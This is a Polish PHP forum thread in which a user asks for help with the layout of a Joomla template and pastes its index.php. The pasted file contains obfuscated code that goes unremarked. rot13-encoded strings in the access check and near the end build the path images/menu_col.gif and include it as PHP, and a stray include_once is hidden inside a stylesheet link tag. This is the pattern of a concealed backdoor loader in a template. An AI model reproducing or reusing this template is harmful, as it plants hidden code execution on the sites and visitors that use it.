Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [DIV][CSS] Pomoc, bo mnie to denerwuje
Axel1922
post
Post #1





Grupa: Zarejestrowani
Postów: 22
Pomógł: 0
Dołączył: 28.04.2009

Ostrzeżenie: (0%)
-----


Dodałem sobie menu obok, reklamy i jest jeden duży problem bo grafika nie wyświetla się taka jak w pozostałych pozycjach, napis również jest gdzieś na boku zamiast na środku. Można to zobaczyć na stronie testowej - http://www.swiatwyscigow.pl/testy
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
Axel1922
post
Post #2





Grupa: Zarejestrowani
Postów: 22
Pomógł: 0
Dołączył: 28.04.2009

Ostrzeżenie: (0%)
-----


Chcesz pomóc, to pomagaj nie czepiaj się drobiazgów. Dogrywałem wczoraj pewnie dodatek wyświetlający galerie, dziś jest wszystko dobrze. A mam problem z menu strony, jak widzicie z boku nie znajduje się menu (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) I chcę, aby na całym tym miejscu znajdował się artykuł. Ma to wyglądać tak, newsy na stronie głównej miały by być ściśniete w środku - podobnie jak tutaj jest z lewej stronie - http://www.swiatwyscigow.pl, a po kliknięciu więcej pokazywały by się całe i znikało by jedno menu. Obecny styl jest pod Joomle 1.0, a w panelu administratora mam włączony Tryb zgodności: 1.0, obecny jest pod Joomle 1.5 i przenoszenie niektórych rozwiązań ze starego nic nie daje. Zamieszczam na dole plik index.php pliku templatki i css.

Link do css: http://www.sendspace.com/file/34ll9u

  1. <?php
  2. // no direct access
  3. defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
  4. ?>
  5. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  6. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
  7. <head>
  8. <jdoc:include type="head" />
  9. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
  10. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
  11. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
  12. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('teamVariation'); ?>.css" type="text/css" />
  13. <!--[if lte IE 6]>
  14. <link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
  15. <![endif]-->
  16. </head>
  17. <body id="page_bg_<?php echo $this->params->get('backgroundVariation'); ?>">
  18. <a name="up" id="up"></a>
  19.  <div id="main_bg" class="main_bg_<?php echo $this->params->get('pageAlignment'); ?>">
  20.         <div id="middle_bg">
  21.             <div id="logo_bg">
  22.                 <a href="./"><?php if($this->params->get('hideLogo') == 0){ ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('teamVariation'); ?>/logo.png" alt="logo" align="left" /><?php }else{ ?><div id="nologo">&nbsp;</div><?php } ?></a>
  23.                 <div id="banner"><jdoc:include type="modules" name="banner" /></div>
  24.                 <div id="user4"><jdoc:include type="modules" name="user4" /></div>
  25.                 <br clear="all" />
  26.             </div>
  27.             
  28.             <div id="user3">
  29.                 <div id="pillmenu"><jdoc:include type="modules" name="user3" /></div>
  30.                 <?php if($this->params->get('dateDisplay')) : ?><div id="date"><?php echo date('l dS of F Y'); ?></div><?php endif; ?>
  31.                 <br clear="all" />
  32.             </div>
  33.              <?php if($this->params->get('hideBannerArea') == 0) : ?>
  34.             <div id="banner_bg"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('teamVariation'); ?>/banner.jpg" alt="team banner" align="left" />
  35.                 <div id="newsflash"><jdoc:include type="modules" name="top" /></div>
  36.                 <br clear="all" />
  37.             </div>
  38.             <?php endif; ?>
  39.                 <div id="leftcolumn">
  40.                         <?php if($this->countModules('left')) : ?>
  41.                 <jdoc:include type="modules" name="left" style="xhtml"/>
  42.             <?php endif; ?>
  43.                 </div>
  44.      <div id="maincolumn">
  45.                 <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
  46.                 <div class="nopad"><jdoc:include type="component" /></div>
  47.             </div>
  48.            <div id="rightcolumn">
  49. <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
  50.                 <jdoc:include type="modules" name="right" style="xhtml"/>
  51.             <?php endif; ?>
  52.             </div>
  53.             <br clear="all" />
  54.         </div>
  55.         <div id="user3">
  56.                 <div id="pillmenu"><jdoc:include type="modules" name="user2" /></div>
  57.                 <br clear="all" />
  58.             </div>
  59.  
  60.         
  61.      <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
  62.             <jdoc:include type="modules" name="layout" style="rounded" />
  63.      <?php endif; ?>
  64.  </div>
  65.  
  66. <jdoc:include type="modules" name="debug" />
  67.  
  68. </body>
  69. </html>


Ten post edytował Axel1922 28.06.2009, 19:14:53
Go to the top of the page
+Quote Post

Posty w temacie


Closed TopicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 16.10.2025 - 04:06